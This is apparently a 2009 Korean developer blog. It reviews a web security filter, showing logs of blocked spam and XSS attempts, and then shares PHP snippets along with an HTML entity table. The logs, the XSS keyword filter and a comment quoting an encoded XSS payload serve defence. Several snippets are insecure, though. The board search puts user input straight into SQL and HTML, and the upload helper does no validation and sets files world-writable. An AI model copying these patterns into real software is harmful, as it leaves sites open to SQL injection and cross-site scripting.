- 소스코드 수준의 웹 어플리케이션 보안성 강화
o 사용자 편리성 강화
- 관리기능으로 편리한 정책 설정 지원
- 운영 중인 프로그램 소스의 최소 수정으로도 적용 가능
o 높은 호환성 지원
- 다양한 웹 서버 환경과 웹 어플리케이션에서 동작할 수 있는 호
환성 지원

캐슬에 대한 진흥원에 기능설명이다. 실제 사용해본 결과 만족할 만한 수준이었고
현재 모대학 학과사이트에 적용해서 잘쓰고 있다.

기본에는 악성스팸글이 하루에도 수십건에 달했지만 현재는 전혀 올라오지 않고 있다.
로그를 살펴보면 완전히 차단되는 걸 알수 있다.

194.8.75.145 - [12/Jul/2009:00:47:58 +0900] /board/job/board.php: html_body = Hello,\r\ntortilia.info\r\nbuster! long one!  \r\nhttp://petheal: 금칙어 탐지
 -> [Method: POST]
 -> [Policy: 기본정책]
 -> [Pattern: Fre...]
194.8.74.130 - [12/Jul/2009:01:20:44 +0900] /board/notice/board.php: html_body = <a href=\"http://forums.yahala.co.il/showthread.php?p=16749\">va: 금칙어 탐지
 -> [Method: POST]
 -> [Policy: 기본정책]
 -> [Pattern: Buy]
194.8.74.130 - [12/Jul/2009:03:14:12 +0900] /board/notice/board.php: html_body = <a href=\"http://forums.yahala.co.il/showthread.php?p=16749\">va: 금칙어 탐지
 -> [Method: POST]
 -> [Policy: 기본정책]
 -> [Pattern: Buy]
194.8.74.130 - [12/Jul/2009:05:14:20 +0900] /board/notice/board.php: html_body = <a href=\"http://forums.yahala.co.il/showthread.php?p=16749\">dr: 금칙어 탐지
 -> [Method: POST]
 -> [Policy: 기본정책]
 -> [Pattern: sex]
194.8.74.130 - [12/Jul/2009:07:21:14 +0900] /board/notice/board.php: html_body = <a href=\"http://forums.yahala.co.il/showthread.php?p=16749\">ge: 금칙어 탐지
 -> [Method: POST]
 -> [Policy: 기본정책]
 -> [Pattern: sex]
194.8.74.130 - [12/Jul/2009:09:33:34 +0900] /board/notice/board.php: html_body = <a href=\"http://forums.yahala.co.il/showthread.php?p=16749\">en: 금칙어 탐지
 -> [Method: POST]
 -> [Policy: 기본정책]
 -> [Pattern: Buy]
99.250.211.177 - [12/Jul/2009:11:52:10 +0900] /board/job/board.php: html_body = buy tadalafil levitra buy levitra generic cheap allegra cialis v: 금칙어 탐지
 -> [Method: POST]
 -> [Policy: 기본정책]
 -> [Pattern: Buy]
194.8.74.130 - [12/Jul/2009:11:55:47 +0900] /board/notice/board.php: html_body = <a href=\"http://forums.yahala.co.il/showthread.php?p=16749\">va: 금칙어 탐지
 -> [Method: POST]
 -> [Policy: 기본정책]
 -> [Pattern: Buy]
194.8.74.130 - [12/Jul/2009:14:24:35 +0900] /board/notice/board.php: html_body = <a href=\"http://forums.yahala.co.il/showthread.php?p=16749\">va: 금칙어 탐지
 -> [Method: POST]
 -> [Policy: 기본정책]
 -> [Pattern: Buy]
210.51.47.187 - [12/Jul/2009:16:33:45 +0900] /board/notice/board.php: subject = 【무료자료】유망자격증, 10급공무원, 독학사, 영어자료: 금칙어 탐지
 -> [Method: POST]
 -> [Policy: 기본정책]
 -> [Pattern: 유망자격증]
210.51.47.187 - [12/Jul/2009:16:33:45 +0900] /board/faq/board.php: subject = 【무료자료】유망자격증, 10급공무원, 독학사, 영어자료: 금칙어 탐지
 -> [Method: POST]
 -> [Policy: 기본정책]
 -> [Pattern: 유망자격증]
210.51.47.187 - [12/Jul/2009:18:15:37 +0900] /board/faq/board.php: html_body = 신청서가 보이지 않는분은 이쪽으로~ http://sawhi.co1.kr\r\n\r\n\r: XSS 공격 패턴 탐지
 -> [Method: POST]
 -> [Policy: 기본정책]
 -> [Pattern: src[[:space:]]*=]
210.51.47.187 - [12/Jul/2009:18:16:03 +0900] /board/notice/board.php: html_body = 신청서가 보이지 않는분은 이쪽으로~ http://sawhi.co1.kr\r\n\r\n\r: XSS 공격 패턴 탐지
 -> [Method: POST]
 -> [Policy: 기본정책]
 -> [Pattern: src[[:space:]]*=]
194.8.74.130 - [12/Jul/2009:19:43:51 +0900] /board/notice/board.php: html_body = <a href=\"http://forums.yahala.co.il/showthread.php?p=16749\">va: 금칙어 탐지
 -> [Method: POST]
 -> [Policy: 기본정책]
 -> [Pattern: sex]
59.151.97.6 - [12/Jul/2009:21:01:21 +0900] /board/notice/board.php: subject = ♥로얄더비 ◆황금성 ♠바다이야기 ♣바카라: 금칙어 탐지
 -> [Method: POST]
 -> [Policy: 기본정책]
 -> [Pattern: 바카라]
59.151.97.6 - [12/Jul/2009:21:01:22 +0900] /board/pds_class/board.php: subject = ♥로얄더비 ◆황금성 ♠바다이야기 ♣바카라: 금칙어 탐지
 -> [Method: POST]
 -> [Policy: 기본정책]
 -> [Pattern: 바카라]
59.151.97.6 - [12/Jul/2009:21:01:22 +0900] /board/faq/board.php: subject = ♥로얄더비 ◆황금성 ♠바다이야기 ♣바카라: 금칙어 탐지
 -> [Method: POST]
 -> [Policy: 기본정책]
 -> [Pattern: 바카라]

사용법과 관련해서는 압축파일을 올려두겠다.
자세한 내용은 메뉴얼을 참고하면 될듯 하다.
참고사이트 http://www.krcert.or.kr




게시판 리스트 부분 프로그램

예전에 10만건인가 백만건 게시물부분에 대한 프로그램을 해본적이 있다.
뭐 여러 방법들이 많이 있고 어떤 부분에서는 상당히 알고리즘을 가진 것도 본적이 있다.
하지만 게시판이 무엇인가? 이 고민을 하게되니 10만건 혹인 백만건의 의미가 사라졌다.
자유게시판에 10만건 이상이 등록될 일도 없을 뿐더러 몇천건이라도 쌓이면 다행일 게시판을 위해
복잡한 프로그램을 할 필요는 없겠다. 싶어 간단하고 수정이 편한 게시판을 만들어 보았다.
아래는 그 일부분을 올려둔다.

 <table width=100% align=center border=0 cellpadding=4 cellspacing=1>
  <tr height=25>
   <td width=40 align=center class=board_title_bg>번호</td>
   <td align=center class=board_title_bg>제목</td>
   <td width=120 align=center class=board_title_bg>작성자</td>
   <td width=120 align=center class=board_title_bg>작성일시</td>
   <td width=100 align=center class=board_title_bg>조회수</td>
  </tr>
  <?
   if($qa_text) {
    $whereis = "where ".$state_str_sql." title like '%".$qa_text."%'";
   } else {
    $whereis = "where ".$state_str_sql;
   }
   $nTotalCount = selectCount("_webhard_bbs","idx",$whereis);

   $num_tt = $nTotalCount;
   $nPage = ceil($nTotalCount / $g_list_rows);
   if ($pg == "") $pg = 1;
   $nFrom = ($pg - 1) * $g_list_rows;
   $num_tt = $num_tt - (($pg - 1) * $g_list_rows);

   $contents = selectQuery("select * from $table ".$whereis." ".$order_txt." limit ".$nFrom.", ".$g_list_rows);

   if($nTotalCount < 1) {
    echo "<tr>
      <td colspan=7 height=40 align=center>자료가 없습니다.</td>
     </tr>";
   } else {
    for($i=0;$i<$g_list_rows;$i++) {
  ?>
  <tr>
   <td height="30" align="center" class=line_board_bottom><? echo $num_tt?></td>
   <td style="padding:0 0 0 10 " class=line_board_bottom><?=$contents[title][$i]?></td>
   <td align="center" class=line_board_bottom><?=$contents[writer][$i]?></td>
   <td align="center" class=line_board_bottom><?=date("Y-m-d H:i:s", $contents[regdate][$i])?></td>
   <td align="center" class=line_board_bottom><?=number_format($contents[hit][$i])?></td>
  </tr>
  <?
    $num_tt--;
    }
   }
  ?>
  <tr>
   <td>&nbsp;</td>
  </tr>
  <tr>
   <form name=frm_qa_search method=get action=file_list.php>
   <input type=hidden name="code" value="<?=$code?>">
   <input type=hidden name="qa_text" value="<?=$qa_text?>">
   <input type=hidden name="pg" value="<?=$pg?>">
   <td align=center colspan=7><input type=text name=qa_text value='<?=$qa_text?>' size=30> <input type=image src='./img/button/bt_seach.gif' align=absmiddle></td>
   </form>
  </tr>
  <tr>
   <td align=center colspan=6><?echo pageListing($pg, $nPage, $g_list_rows, "./file_list.php?code=$code&qa_text=$qa_text&pg=")?></td>
  </tr>
 </table>

게시판의 속도는 보통인 편이다. 그러나 적은 게시물을 가지고 있는 게시판에 응용해서 사용한다면
얼마든지 백만건게시판도 가능할 것이다. 어차피 디비는 가져오는 방식의 문제가 아닌가!
있는 디비를 손대기 어렵다면 어떻게 잘 가져올지 생각해보면 될 것 이다.

넉두리라면... 프로그램초기에는 디비를 어떻게 튜닝하는지 프로그램을 어떻게 짜는지도 몰랐지만
이제 몇년 하다보니 약간씩 눈에 들어오는 것은 대규모가 아니라면 역시 유지보수가 편한 심플형이
좋다라는 거다 사이트를 하루에 몇개씩 찍어내는 공장이나 혹은 중소형 홈페이지라도
결국은 가장 기본적인 부분에 출발하니 말이다.

게시물이 백만건이 쌓이기 전에 테이블을 분리하던지 게시판을 몇개를 더 만들어서 카테고리를 만드는것이
더 현명할 것이다. 디비튜닝보다는 회사에 하드웨어를 추가해달라고 하는게 더 정신건강에 좋을듯
그렇게 투자하기 싫다면 어쩔 수 없겠지만 말이다.

좋은 알고리즘을 가지고 프로그램 천라인을 써서 만들건지 기본적인 알고리즘으로 백라인안에
프로그램을 할지는 선택하는 사람의 몫이다.

[php+mysql]쿼리로 데이터 배열 받아오기

#쿼리로 데이터 배열 받아오기
function selectQuery($query){
 $result = mysql_query($query);
 while ($data = mysql_fetch_array($result,MYSQL_ASSOC)) {
  foreach ($data as $key => $value){
   $List[$key][] = $value;
  }
 }
 //print $query;
 return $List;  // example) <loop>print list[field][$i]</loop>;
}

[php+mysql]쿼리 총갯수 가져오기

#갯수 가져오기
function selectCount($table,$field="num",$where=""){
 $query = "SELECT count(".$field.") FROM ".$table." ".$where;
 $data = mysql_fetch_array(mysql_query($query));
 $return = $data[0];
 return $return;
}

용량계산

//용량계산
function parseSize($size){
 if($size < 1024){
  return $size."B";
 }elseif($size < pow(1024,2)){
  return number_format($size / pow(1024,1),'1')."K";
 }elseif($size < pow(1024,3)){
  return number_format($size / pow(1024,2),'1')."M";
 }elseif($size < pow(1024,4)){
  return number_format($size / pow(1024,3),'1')."G";
 }else{
  return number_format($size / pow(1024,4),'1')."T";
 }
}

[php+보안]XSS 공격 방어

//XSS 공격 방어
function RemoveXSS($val) {
   // remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
   // this prevents some character re-spacing such as <java\0script>
   // note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some inputs
   $val = preg_replace('/([\x00-\x08][\x0b-\x0c][\x0e-\x20])/', '', $val);

   // straight replacements, the user should never need these since they're normal characters
   // this prevents like <IMG SRC=&#X40&#X61&#X76&#X61&#X73&#X63&#X72&#X69&#X70&#X74&#X3A&#X61&#X6C&#X65&#X72&#X74&#X28&#X27&#X58&#X53&#X53&#X27&#X29>
   $search = 'abcdefghijklmnopqrstuvwxyz';
   $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
   $search .= '1234567890!@#$%^&*()';
   $search .= '~`";:?+/={}[]-_|\'\\';
   for ($i = 0; $i < strlen($search); $i++) {
      // ;? matches the ;, which is optional
      // 0{0,7} matches any padded zeros, which are optional and go up to 8 chars

      // &#x0040 @ search for the hex values
      $val = preg_replace('/(&#[x|X]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;
      // &#00064 @ 0{0,7} matches '0' zero to seven times
      $val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
   }

   // now the only remaining whitespace attacks are \t, \n, and \r
   $ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
   $ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
   $ra = array_merge($ra1, $ra2);

   $found = true; // keep replacing as long as the previous round replaced something
   while ($found == true) {
      $val_before = $val;
      for ($i = 0; $i < sizeof($ra); $i++) {
         $pattern = '/';
         for ($j = 0; $j < strlen($ra[$i]); $j++) {
            if ($j > 0) {
               $pattern .= '(';
               $pattern .= '(&#[x|X]0{0,8}([9][a][b]);?)?';
               $pattern .= '|(&#0{0,8}([9][10][13]);?)?';
               $pattern .= ')?';
            }
            $pattern .= $ra[$i][$j];
         }
         $pattern .= '/i';
         $replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag
         $val = preg_replace($pattern, $replacement, $val); // filter out the hex tags
         if ($val_before == $val) {
            // no replacements were made, so exit the loop
            $found = false;
         }
      }
   }
   return $val;
}

2009년 7월 28일 화요일

웹페이지 압축

// 웹페이지 압축
ob_start('ob_gzhandler');

현재페이지,총페이지수,한페이지에 보여줄 목록수,URL

// 현재페이지,총페이지수,한페이지에 보여줄 목록수,URL
function pagelisting($cur_page, $total_page, $n, $url) {
 $retValue = "<table border='0' cellpadding='0' cellspacing='0'><tr>";
 if ($cur_page > 1) {
  $retValue .= "<td><a href='" . $url . "1'>[처음]</a>&nbsp;</td>";
  $retValue .= "<td><a href='" . $url . ($cur_page-1) . "'>[이전]</a></td>";
 } else {
  $retValue .= "<td>&nbsp;</td>";
  $retValue .= "<td>&nbsp;</td>";
 }
 $retValue .= "<td>&nbsp;";
 $start_page = ( ( (int)( ($cur_page - 1 ) / 10 ) ) * 10 ) + 1;
 $end_page = $start_page + 9;
 if ($end_page >= $total_page) $end_page = $total_page;
 if ($start_page > 1) $retValue .= "<a href='" . $url . ($start_page-1) . "'>[이전10개]</a> ";
 if ($total_page > 1) {
  for ($k=$start_page;$k<=$end_page;$k++) {
   if ($cur_page != $k) {
    $retValue .= " <a href='$url$k'> [$k] </a> ";
   } else {
    $retValue .= " <b>$k</b> ";
   }
  }
 }
 if ($total_page > $end_page) $retValue .= "<a href='" . $url . ($end_page+1) . "'>[다음10개]</a>";
 $retValue .= "&nbsp;</td>";
 if ($cur_page < $total_page) {
  $retValue .= "<td><a href='$url" . ($cur_page+1) . "'>[다음]</a></td>";
  $retValue .= "<td>&nbsp;<a href='$url$total_page'>[마지막]</a></td>";
 } else {
  $retValue .= "<td>&nbsp;</td>";
  $retValue .= "<td></td>";
 }
 $retValue .= "</tr></table>";
 return $retValue;
}

글자자르기

// 글자자르기
// cutstr("글내용", "글자수", "...") {
function cutstr($msg, $cut_size, $tail="...") {
 if ($cut_size<=0) return $msg;

 // 계속이어쓰는 문자열을 자른다.
 $max_len = 70;
 if(strlen($msg) > $max_len) {
  if(!eregi(" ", $msg)) {
   $msg = substr($msg,0,$max_len);
  }
 }

 for($i=0;$i<$cut_size;$i++) {
  if(@ord($msg[$i])>127) {
   $han++;
  } else {
   $eng++;
  }
 }

 $cut_size=$cut_size+(int)$han*0.6;

 $snow=1;
 for($i=0;$i<strlen($msg);$i++) {
  if ($snow>$cut_size) { return $snowtmp.$tail;}
  if (ord($msg[$i])<=127) {
   $snowtmp.= $msg[$i];
   if ($snow%$cut_size==0) { return $snowtmp.$tail; }
  } else {
   if ($snow%$cut_size==0) { return $snowtmp.$tail; }
   $snowtmp.=$msg[$i].$msg[++$i];
   $snow++;
  }
  $snow++;
 }
 return $snowtmp;
}

샌드메일서버를 이용한 메일보내기

// 샌드메일서버를 이용한 메일보내기
// authMail("보내는 사람 이메일", "보내는 사람 이름 ", "받는 사람 이메일", "받는 사람 이름", "제목", "내용");
function authMail($from, $namefrom, $to, $nameto, $subject, $message) {
 //환경설정
 $smtpServer = "메일서버주소 아이피 혹은 도메인"; //ip accepted as well
 $port = "25"; // should be 25 by default
 $timeout = "30"; //typical timeout. try 45 for slow servers
 $username = "아이디"; //the login for your smtp
 $password = "비밀번호"; //the pass for your smtp
 $localhost = "127.0.0.1"; //this seems to work always
 $newLine = "\r\n"; //var just for nelines in MS
 $secure = 0; //change to 1 if you need a secure connect

 //connect to the host and port
 $smtpConnect = fsockopen($smtpServer, $port, $errno, $errstr, $timeout);
 $smtpResponse = fgets($smtpConnect, 4096);
 if(empty($smtpConnect)) {
    $output = "Failed to connect: $smtpResponse";
    return $output;
 } else {
    $logArray['connection'] = "Connected to: $smtpResponse";
 }

 //say HELO to our little friend
 fputs($smtpConnect, "HELO $localhost". $newLine);
 $smtpResponse = fgets($smtpConnect, 4096);
 $logArray['heloresponse'] = "$smtpResponse";

 //start a tls session if needed
 if($secure) {
    fputs($smtpConnect, "STARTTLS". $newLine);
    $smtpResponse = fgets($smtpConnect, 4096);
    $logArray['tlsresponse'] = "$smtpResponse";

    //you have to say HELO again after TLS is started
    fputs($smtpConnect, "HELO $localhost". $newLine);
    $smtpResponse = fgets($smtpConnect, 4096);
    $logArray['heloresponse2'] = "$smtpResponse";
 }

 //request for auth login
 fputs($smtpConnect,"AUTH LOGIN" . $newLine);
 $smtpResponse = fgets($smtpConnect, 4096);
 $logArray['authrequest'] = "$smtpResponse";

 //send the username
 fputs($smtpConnect, base64_encode($username) . $newLine);
 $smtpResponse = fgets($smtpConnect, 4096);
 $logArray['authusername'] = "$smtpResponse";

 //send the password
 fputs($smtpConnect, base64_encode($password) . $newLine);
 $smtpResponse = fgets($smtpConnect, 4096);
 $logArray['authpassword'] = "$smtpResponse";

 //email from
 fputs($smtpConnect, "MAIL FROM: $from" . $newLine);
 $smtpResponse = fgets($smtpConnect, 4096);
 $logArray['mailfromresponse'] = "$smtpResponse";

 //email to
 fputs($smtpConnect, "RCPT TO: $to" . $newLine);
 $smtpResponse = fgets($smtpConnect, 4096);
 $logArray['mailtoresponse'] = "$smtpResponse";

 //the email
 fputs($smtpConnect, "DATA" . $newLine);
 $smtpResponse = fgets($smtpConnect, 4096);
 $logArray['data1response'] = "$smtpResponse";

 //construct headers
 $headers = "MIME-Version: 1.0" . $newLine;
 $headers .= "Content-type: text/html; charset=euc-kr" . $newLine;
 $headers .= "To: $nameto <$to>" . $newLine;
 $headers .= "From: $namefrom <$from>" . $newLine;

 //observe the . after the newline, it signals the end of message
 fputs($smtpConnect, "To: $to\r\nFrom: $from\r\nSubject: $subject\r\n$headers\r\n\r\n$message\r\n.\r\n");
 $smtpResponse = fgets($smtpConnect, 4096);
 $logArray['data2response'] = "$smtpResponse";

 // say goodbye
 fputs($smtpConnect,"QUIT" . $newLine);
 $smtpResponse = fgets($smtpConnect, 4096);
 $logArray['quitresponse'] = "$smtpResponse";
 $logArray['quitcode'] = substr($smtpResponse,0,3);
 fclose($smtpConnect);
 //a return value of 221 in $retVal["quitcode"] is a success
 return($logArray);
}

파일업로드

// 파일업로드
// upload_file("업로드파일", "저장할 파일명", "저장위치");
function upload_file($srcfile, $destfile, $dir) {
 if ($destfile == "") return false;
 // 업로드 한후 , 퍼미션을 변경함
 @move_uploaded_file($srcfile, "$dir/$destfile");
 @chmod("$dir/$destfile", 0666);
 return true;
}

파일 확장자 검사

// 파일 확장자 검사--------------------------------------------------------------------------------
// check_file_ext("파일명", "허용확장자리스트 ;로 구분");
function check_file_ext($filename, $allow_ext) {
 if ($filename == "") return true;
 $ext = get_file_ext($filename);
 $allow_ext = explode(";", $allow_ext);
 $sw_allow_ext = false;
 for ($i=0; $i<count($allow_ext); $i++) {
  if ($ext == $allow_ext[$i]) { // 허용하는 확장자라면
   $sw_allow_ext = true;
   break;
  }
 }
 return $sw_allow_ext;
}
function get_file_ext($filename) {
 if ($filename == "") return "";
 $type = explode(".", $filename);
 $ext = strtolower($type[count($type)-1]);
 return $ext;
}

경고메세지 출력

// 경고메세지 출력
// alert_msg("정상적인 접근이 아닙니다.", "/index.php");
function alert_msg($msg, $url="") {
    if($url == "") {
  $url = "history.go(-1)";
 } else {
  $url = "document.location.href = '".$url."'";
 }

 if($msg != "") {
  echo "<script language='javascript'>alert('".$msg."');".$url.";</script>";
 } else {
  echo "<script language='javascript'>".$url.";</script>";
 }
}

php에서 날짜 계산하기

echo strftime("%Y-%m-%d", strtotime("now")), "<br>\n";
echo strftime("%Y-%m-%d", strtotime("10 September 2000")), "<br>\n";
echo "하루전 ".strftime("%Y-%m-%d", strtotime("-1 day")), "<br>\n";
echo "내일 ".strftime("%Y-%m-%d", strtotime("+1 day")), "<br>\n";
echo "일주일 전 ".strftime("%Y-%m-%d", strtotime("-1 week")), "<br>\n";
echo "일주일 후 ".strftime("%Y-%m-%d", strtotime("+1 week")), "<br>\n";
echo "일주일 + 2일 + 4시간 +2초 ".strftime("%Y-%m-%d %H:%M:%S", strtotime("+1 week 2 days 4 hours 2 seconds")), "<br>\n";
echo "다음주 수요일 ".strftime("%Y-%m-%d", strtotime("next Thursday")), "<br>\n";
echo "마지막 월요일 ".strftime("%Y-%m-%d ", strtotime("last Monday")), "<br>\n";

PHP $_SERVER[] 함수

$_SERVER['DOCUMENT_ROOT'] = 현재 사이트가 위치한 서버상의 위치 => /webapp/include

$_SERVER['HTTP_ACCEPT_ENCODING'] = 인코딩 방식 => gzip, deflate

$_SERVER['HTTP_ACCEPT_LANGUAGE'] = 언어 => ko

$_SERVER['HTTP_USER_AGENT'] = 사이트 접속한 사용자 환경 => Mozilla/4.0(compatible; MSIE 6.0; Windows NT 5.1; Q312461; .NET CLR 1.0.3705

$_SERVER['REMOTE_ADDR'] = 사이트 접속한 사용자 IP => xxx.xxx.xxx.xxx

$_SERVER['SCRIPT_FILENAME'] = 실행되고 있는 위치와 파일명 => webapp/include/index.php

$_SERVER['SERVER_NAME'] = 사이트 도메인 => www.crazy-cupid.com

$_SERVER['SERVER_PORT'] = 사이트가 사용하는 포트 => 80

$_SERVER['SERVER_SOFTWARE'] = 서버의 소프트웨어 환경 => Apache/1.3.23 (Unix) PHP/4.1.2 mod_fastcgi/2.2.10 mod_throttle/3.1.2 mod_ssl/2.8.6 OpenSSL/0.9.6c

$_SERVER['GATEWAY_INTERFACE'] = cGI 정보 => CGI/1.1

$_SERVER['SERVER_PROTOCOL'] = 사용된 서버 프로토콜 => HTTP/1.1

$_SERVER['REQUEST_URI'] = 현재페이지의 주소에서 도메인 제외 =>  /index.php?user=???&name=???

$_SERVER['PHP_SELF'] = 현재페이지의 주소에서 도메인과 넘겨지는 값 제외 =/ index.php

$_SERVER['APPL_PHYSICAL_PATH'] = 현재페이지의 실제 파일 주소 => D:\webapp/

HTML 특수문자코드표

HTML 특수문자코드표

 

표현문자

숫자표현

문자표현

설명

-

&#00;-&#08;

-

사용하지 않음

space

&#09;

-

수평탭

space

&#10;

-

줄 삽입

-

&#11;-&#31;

-

사용하지 않음

space

&#32;

-

여백

!

&#33;

-

느낌표

"

&#34;

&quot;

따옴표

#

&#35;

-

숫자기호

$

&#36;

-

달러

%

&#37;

-

백분율 기호

&

&#38;

&amp;

Ampersand

'

&#39;

-

작은 따옴표

(

&#40;

-

왼쪽 괄호

)

&#41;

-

오른쪽 괄호

*

&#42;

-

아스트릭

+

&#43;

-

더하기 기호

,

&#44;

-

쉼표

-

&#45;

-

Hyphen

.

&#46;

-

마침표

/

&#47;

-

Solidus (slash)

0 - 9

&#48;-&#57;

-

0부터 9까지

:

&#58;

-

콜론

;

&#59;

-

세미콜론

<

&#60;

&lt;

보다 작은

=

&#61;

-

등호

>

&#62;

&gt;

보다 큰

?

&#63;

-

물음표

@

&#64;

-

Commercial at

A - Z

&#65;-&#90;

-

A부터 Z까지

[

&#91;

-

왼쪽 대괄호

\

&#92;

-

역슬래쉬

]

&#93;

-

오른쪽 대괄호

^

&#94;

-

탈자부호

_

&#95;

-

수평선

`

&#96;

-

Acute accent

a - z

&#97;-&#122;

-

a부터 z까지

{

&#123;

-

왼쪽 중괄호

|

&#124;

-

수직선

}

&#125;

-

오른쪽 중괄호

~

&#126;

-

꼬리표

-

&#127;-&#159;

-

사용하지 않음

&#160;

&nbsp;

Non-breaking space

¡

&#161;

&iexcl;

거꾸로된 느낌표

&#162;

&cent;

센트 기호

&#163;

&pound;

파운드

¤

&#164;

&curren;

현재 환율

&#165;

&yen;

|

&#166;

&brvbar;

끊어진 수직선

§

&#167;

&sect;

섹션 기호

¨

&#168;

&uml;

움라우트

&#169;

&copy;

저작권

ª

&#170;

&ordf;

Feminine ordinal

&#171;

&laquo;

왼쪽 꺾인 괄호

&#172;

&not;

부정

­

&#173;

&shy;

Soft hyphen

?

&#174;

&reg;

등록상표

&hibar;

&#175;

&macr;

Macron accent

°

&#176;

&deg;

Degree sign

±

&#177;

&plusmn;

Plus or minus

²

&#178;

&sup2;

Superscript two

³

&#179;

&sup3;

Superscript three

´

&#180;

&acute;

Acute accent

μ

&#181;

&micro;

Micro sign (Mu)

&#182;

&para;

문단기호

·

&#183;

&middot;

Middle dot

¸

&#184;

&cedil;

Cedilla

¹

&#185;

&sup1;

Superscript one

º

&#186;

&ordm;

Masculine ordinal

&#187;

&raquo;

오른쪽 꺾인 괄호

¼

&#188;

&frac14;

4분의 1

½

&#189;

&frac12;

2분의 1

¾

&#190;

&frac34;

4분의 3

¿

&#191;

&iquest;

거꾸로된 물음표

A

&#192;

&Agrave;

Capital A, grave accent

A

&#193;

&Aacute;

Capital A, acute accent

A

&#194;

&Acirc;

Capital A, circumflex accent

A

&#195;

&Atilde;

Capital A, tilde

A

&#196;

&Auml;

Capital A, dieresis or umlaut mark

A

&#197;

&Aring;

Capital A, ring (Angstrom)

Æ

&#198;

&AElig;

Capital AE diphthong (ligature)

C

&#199;

&Ccedil;

Capital C, cedilla

E

&#200;

&Egrave;

Capital E, grave accent

E

&#201;

&Eacute;

Capital E, acute accent

E

&#202;

&Ecirc;

Capital E, circumflex accent

E

&#203;

&Euml;

Capital E, dieresis or umlaut mark

I

&#204;

&Igrave;

Capital I, grave accent

I

&#205;

&Iacute;

Capital I, acute accent

I

&#206;

&Icirc;

Capital I, circumflex accent

I

&#207;

&Iuml;

Capital I, dieresis or umlaut mark

Ð

&#208;

&ETH;

Capital Eth, Icelandic

N

&#209;

&Ntilde;

Capital N, tilde

O

&#210;

&Ograve;

Capital O, grave accent

O

&#211;

&Oacute;

Capital O, acute accent

O

&#212;

&Ocirc;

Capital O, circumflex accent

O

&#213;

&Otilde;

Capital O, tilde

O

&#214;

&Ouml;

Capital O, dieresis or umlaut mark

×

&#215;

&times;

Multiply sign

Ø

&#216;

&Oslash;

width="130"Capital O, slash

U

&#217;

&Ugrave;

Capital U, grave accent

U

&#218;

&Uacute;

Capital U, acute accent

U

&#219;

&Ucirc;

Capital U, circumflex accent

U

&#220;

&Uuml;

Capital U, dieresis or umlaut mark

Y

&#221;

&Yacute;

Capital Y, acute accent

Þ

&#222;

&THORN;

Capital Thorn, Icelandic

ß

&#223;

&szlig;

Small sharp s, German (sz ligature)

a

&#224;

&agrave;

Small a, grave accent

a

&#225;

&aacute;

Small a, acute accent

a

&#226;

&acirc;

Small a, circumflex accent

a

&#227;

&atilde;

Small a, tilde

a

&#228;

&auml;

Small a, dieresis or umlaut mark

a

&#229;

&aring;

Small a, ring

æ

&#230;

&aelig;

Small ae diphthong (ligature)

c

&#231;

&ccedil;

Small c, cedilla

e

&#232;

&egrave;

Small e, grave accent

e

&#233;

&eacute;

Small e, acute accent

e

&#234;

&ecirc;

Small e, circumflex accent

e

&#235;

&euml;

Small e, dieresis or umlaut mark

i

&#236;

&igrave;

Small i, grave accent

i

&#237;

&iacute;

Small i, acute accent

i

&#238;

&icirc;

Small i, circumflex accent

i

&#239;

&iuml;

Small i, dieresis or umlaut mark

ð

&#240;

&eth;

Small eth, Icelandic

n

&#241;

&ntilde;

Small n, tilde

o

&#242;

&ograve;

Small o, grave accent

o

&#243;

&oacute;

Small o, acute accent

o

&#244;

&ocirc;

Small o, circumflex accent

o

&#245;

&otilde;

Small o, tilde

o

&#246;

&ouml;

Small o, dieresis or umlaut mark

÷

&#247;

&divide;

Division sign

ø

&#248;

&oslash;

Small o, slash

u

&#249;

&ugrave;

Small u, grave accent

u

&#250;

&uacute;

Small u, acute accent

u

&#251;

&ucirc;

Small u, circumflex accent

u

&#252;

&uuml;

Small u, dieresis or umlaut mark

y

&#253;

&yacute;

Small y, acute accent

þ

&#254;

&thorn;

Small thorn, Icelandic

y

&#255;

&yuml;

Small y, dieresis or umlaut mark